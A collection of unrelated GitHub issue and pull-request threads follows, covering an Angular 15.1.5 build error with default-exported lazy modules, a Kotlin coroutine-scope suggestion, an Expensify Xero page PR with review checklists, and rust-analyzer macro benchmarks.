FYI, Swift Evolution is considering changing the accessors system  , but those changes are still too far in the future, so I would not consider them in this PR
Still, in the future the algorithm to find "which accessor" define the availability of a "setter" may change (even if I think forked will never be used with the low level memory access that those new accessors are for...)


Build failure for default exported modules

Command
build
Is this a regression?

[X] Yes, this behavior used to work in the previous version

The previous version in which this bug was not present was
15.1.4
Description
I'm using the router unwrap feature of Angular 15 when loading lazy loaded modules in the router module.
In version 15.1.4 it worked, but since version 15.1.5 the build fails for the lazy loaded modules.
Minimal Reproduction
This worked before:
import { NgModule } from '@angular/core';
import { RouterModule, Routes } from '@angular/router';

const routes: Routes = [
  {
    path: 'lazy-loaded',
    loadChildren: () => import('./lazy-loaded/lazy-loaded.module')
  }
];

@NgModule({
  imports: [RouterModule.forRoot(routes)],
  exports: [RouterModule]
})
export class AppRoutingModule {}

import { NgModule } from '@angular/core';

@NgModule({})
export default class LazyLoadedModule {}

But now it breaks, unless I change it back to the "old" way:
import { NgModule } from '@angular/core';
import { RouterModule, Routes } from '@angular/router';

const routes: Routes = [
  {
    path: 'lazy-loaded',
    loadChildren: () => import('./lazy-loaded/lazy-loaded.module').then(m => m.LazyLoadedModule)
  }
];

@NgModule({
  imports: [RouterModule.forRoot(routes)],
  exports: [RouterModule]
})
export class AppRoutingModule {}

import { NgModule } from '@angular/core';

@NgModule({})
export class LazyLoadedModule {}

Exception or Error
./src/app/lazy-loaded/lazy-loaded.module.ts - Error: Module build failed (from ./node_modules/@angular-devkit/build-angular/src/babel/webpack-loader.js):
Error: /ng-app/src/app/lazy-loaded/lazy-loaded.module.ts: We don't know what to do with this node type. We were previously a Statement but we can't fit in here?

Your Environment
Angular CLI: 15.1.5
Node: 16.19.0
Package Manager: npm 8.19.3
OS: win32 x64

Angular: 15.1.4
... animations, cdk, common, compiler, compiler-cli, core, forms
... language-service, localize, material, platform-browser
... platform-browser-dynamic, router

Package                         Version
---------------------------------------------------------
@angular-devkit/architect       0.1501.5
@angular-devkit/build-angular   15.1.5
@angular-devkit/core            15.1.5
@angular-devkit/schematics      15.1.5
@angular/cli                    15.1.5
@schematics/angular             15.1.5
rxjs                            7.8.0
typescript                      4.9.5

Anything else relevant?
No response

I am unable to replicate this issue.

Can you setup a minimal repro please?
You can read here why this is needed. A good way to make a minimal repro is to create a new app via ng new repro-app and adding the minimum possible code to show the problem. Then you can push this repository to github and link it here.
This might be related to your directory structure so its really important to get an accurate repro to diagnose this.

So it turns it the relevant difference compared to a fresh CLI generated project is the useDefineForClassFields flag in the tsconfig.json file. In a fresh or migrated project it is set to false, but if you do not need it and go with the default which is true, you get the mentioned error.
I created a repro app nevertheless: default-export-build-error


CalendarView#setupAsync uses GlobalScope

Hello. It's wrong way to use GlobalScope. Better way is pass CoroutineScope as parameter to CalendarView#setupAsync.
For example:
fun setupAsync(startMonth: YearMonth, endMonth: YearMonth, firstDayOfWeek: DayOfWeek, coroutineScope: CoroutineScope, completion: Completion? = null)...

Makes sense, and would also allow the user to cancel the job early if needed. It's not critical, I'll add it when I have the time but a PR would also be nice.

On second thought, I realized it would be better to make the method a suspend function. I am not sure how that would be called from Java, but I know it's going to get ugly for Java users. Also, that would be a breaking change even for Kotlin users.

is it implemented already?

@jeffako56  not yet.

In version 1.1.0, a cancellation block is provided to cancel the job. This way Java and Kotlin users can benefit.


Add XeroChartOfAccountsPage

Details

This PR add Xero chart of accounts page.
Fixed Issues

$ https://github.com/Expensify/App/issues/39731
PROPOSAL: N/A
Tests

With a Workspace with a Xero connection

Go to Import page

Check that the first item (Chart of accounts) looks like on this screenshot:

Click "Chart of accounts"

Verify that the page looks like this:

Disable the checkbox at the bottom

Go back to the import page

Verify that "Chart of accounts" still shows "Imported, displayed as categories"

Offline tests

QA Steps

Same as tests
PR Author Checklist

[x] I linked the correct issue in the ### Fixed Issues section above
[x] I wrote clear testing steps that cover the changes made in this PR

[x] I added steps for local testing in the Tests section
[x] I added steps for the expected offline behavior in the Offline steps section
[x] I added steps for Staging and/or Production testing in the QA steps section
[x] I added steps to cover failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)
[x] I tested this PR with a High Traffic account against the staging or production API to ensure there are no regressions (e.g. long loading states that impact usability).

[x] I included screenshots or videos for tests on all platforms
[x] I ran the tests on all platforms & verified they passed on:

[x] Android: Native
[x] Android: mWeb Chrome
[x] iOS: Native
[x] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[x] MacOS: Desktop

[x] I verified there are no console errors (if there's a console error not related to the PR, report it or open an issue for it to be fixed)
[x] I followed proper code patterns (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick)
[x] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method

[x] If any non-english text was added/modified, I verified the translation was requested/reviewed in #expensify-open-source and it was approved by an internal Expensify engineer. Link to Slack message:

[x] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[x] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is either coming verbatim from figma or has been approved by marketing (in order to get marketing approval, ask the Bug Zero team member to add the Waiting for copy label to the issue)
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I followed the guidelines as stated in the Review Guidelines
[x] I tested other components that can be impacted by my changes (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar are working as expected)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] I verified that if a function's arguments changed that all usages have also been updated correctly
[x] If any new file was added I verified that:

[x] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(theme.componentBG))

[x] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[x] If the PR modifies the UI (e.g. new buttons, new UI components, changing the padding/spacing/sizing, moving components, etc) or modifies the form input styles:

[x] I verified that all the inputs inside a form are aligned with each other.
[x] I added Design label and/or tagged @Expensify/design so the design team can review the changes.

[x] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[x] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.

Screenshots/Videos

Android: Native
https://github.com/Expensify/App/assets/88395093/9fcdc82f-2d3c-466b-b1c3-6b0d434e9adc

Android: mWeb Chrome
https://github.com/Expensify/App/assets/88395093/6716e6a0-8509-4afa-8ccc-3d183979de4e

iOS: Native
https://github.com/Expensify/App/assets/88395093/518ad99d-64f7-41d4-b63f-d94e540e08fd

iOS: mWeb Safari
https://github.com/Expensify/App/assets/88395093/ec8452c9-30c3-4f8a-9531-4e00752fe168

MacOS: Chrome / Safari
https://github.com/Expensify/App/assets/88395093/e6f240e9-e22e-43d6-b368-110a5bacd108

MacOS: Desktop
https://github.com/Expensify/App/assets/88395093/b988dd8f-ab25-4269-8fab-75e82bca8044

@Expensify/design could you take a look please?

Screenshot looks pretty good to me!

@SzymczakJ please change the target branch to [xero-merge-freeze](https://github.com/Expensify/App/tree/xero-merge-freeze)

Reviewer Checklist

[x] I have verified the author checklist is complete (all boxes are checked off).
[x] I verified the correct issue is linked in the ### Fixed Issues section above
[x] I verified testing steps are clear and they cover the changes made in this PR

[x] I verified the steps for local testing are in the Tests section
[x] I verified the steps for Staging and/or Production testing are in the QA steps section
[x] I verified the steps cover any possible failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)

[x] I checked that screenshots or videos are included for tests on all platforms
[x] I included screenshots or videos for tests on all platforms
[x] I verified tests pass on all platforms & I tested again on:

[x] Android: Native
[x] Android: mWeb Chrome
[x] iOS: Native
[x] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[x] MacOS: Desktop

[x] If there are any errors in the console that are unrelated to this PR, I either fixed them (preferred) or linked to where I reported them in Slack
[x] I verified proper code patterns were followed (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick).
[x] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method
[x] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[x] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is either coming verbatim from figma or has been approved by marketing (in order to get marketing approval, ask the Bug Zero team member to add the Waiting for copy label to the issue)
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I verified that this PR follows the guidelines as stated in the Review Guidelines
[x] I verified other components that can be impacted by these changes have been tested, and I retested again (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar have been tested & I retested again)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] If a new component is created I verified that:

[x] A similar component doesn't exist in the codebase
[x] All props are defined accurately and each prop has a /** comment above it */
[x] The file is named correctly
[x] The component has a clear name that is non-ambiguous and the purpose of the component can be inferred from the name alone
[x] The only data being stored in the state is data necessary for rendering and nothing else
[x] For Class Components, any internal methods passed to components event handlers are bound to this properly so there are no scoping issues (i.e. for onClick={this.submit} the method this.submit should be bound to this in the constructor)
[x] Any internal methods bound to this are necessary to be bound (i.e. avoid this.submit = this.submit.bind(this); if this.submit is never passed to a component event handler like onClick)
[x] All JSX used for rendering exists in the render method
[x] The component has the minimum amount of code necessary for its purpose, and it is broken down into smaller components in order to separate concerns and functions

[x] If any new file was added I verified that:

[x] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(theme.componentBG)

[x] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[x] If the PR modifies the UI (e.g. new buttons, new UI components, changing the padding/spacing/sizing, moving components, etc) or modifies the form input styles:

[x] I verified that all the inputs inside a form are aligned with each other.
[x] I added Design label and/or tagged @Expensify/design so the design team can review the changes.

[x] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[x] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.
[x] I have checked off every checkbox in the PR reviewer checklist, including those that don't apply to this PR.

Screenshots/Videos

Android: Native

Android: mWeb Chrome

iOS: Native

iOS: mWeb Safari

MacOS: Chrome / Safari

MacOS: Desktop

@s77rt fixed your comments!

🚀 Deployed to staging by https://github.com/lakchote in version: 1.4.74-0 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

🚀 Deployed to production by https://github.com/chiragsalian in version: 1.4.74-6 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅


Add benchmark tests for mbe

This PR add more real world tests dumped from rust-analyzer analysis-stats . to benchmark its performance.
cc #7513
r? @matklad

CI had passed. I forgot I have to ignore some tidy tests in test fixtures :)

Hm, 6mb file seems a bit excessive to keep in git repo :rofl:
It was generated by some code, right? Lets' maybe ignore this file via .gitignore, but commit the code to create it. So that benchmargks look like this:
#[test]
fn benchmark_foo() {
    if skip_slow_tests() { return; }
    // Uses Once to create `target/bench_data/lotsofrust.rs`
    let bf = BenchmarkFixtures::new();
    let file: String = bf.get("many-macros.rs").
}

I think it does make sense to write to disk, so that benchmark generation doesn't affect profiles

Its generated by some hacky awk scripts and adhoc dbg output... but well, I agree that it is too large :)
Let me try to write a proper generation code and see how’s it is.

Instead of a large file for macro invocation fixtures, I am able to generate invocations from MacroRules. The generate code itself is quite fast (and dirty) so I decided no need to write it back to disk.
It is ready to review again :)

bors r+
Nice!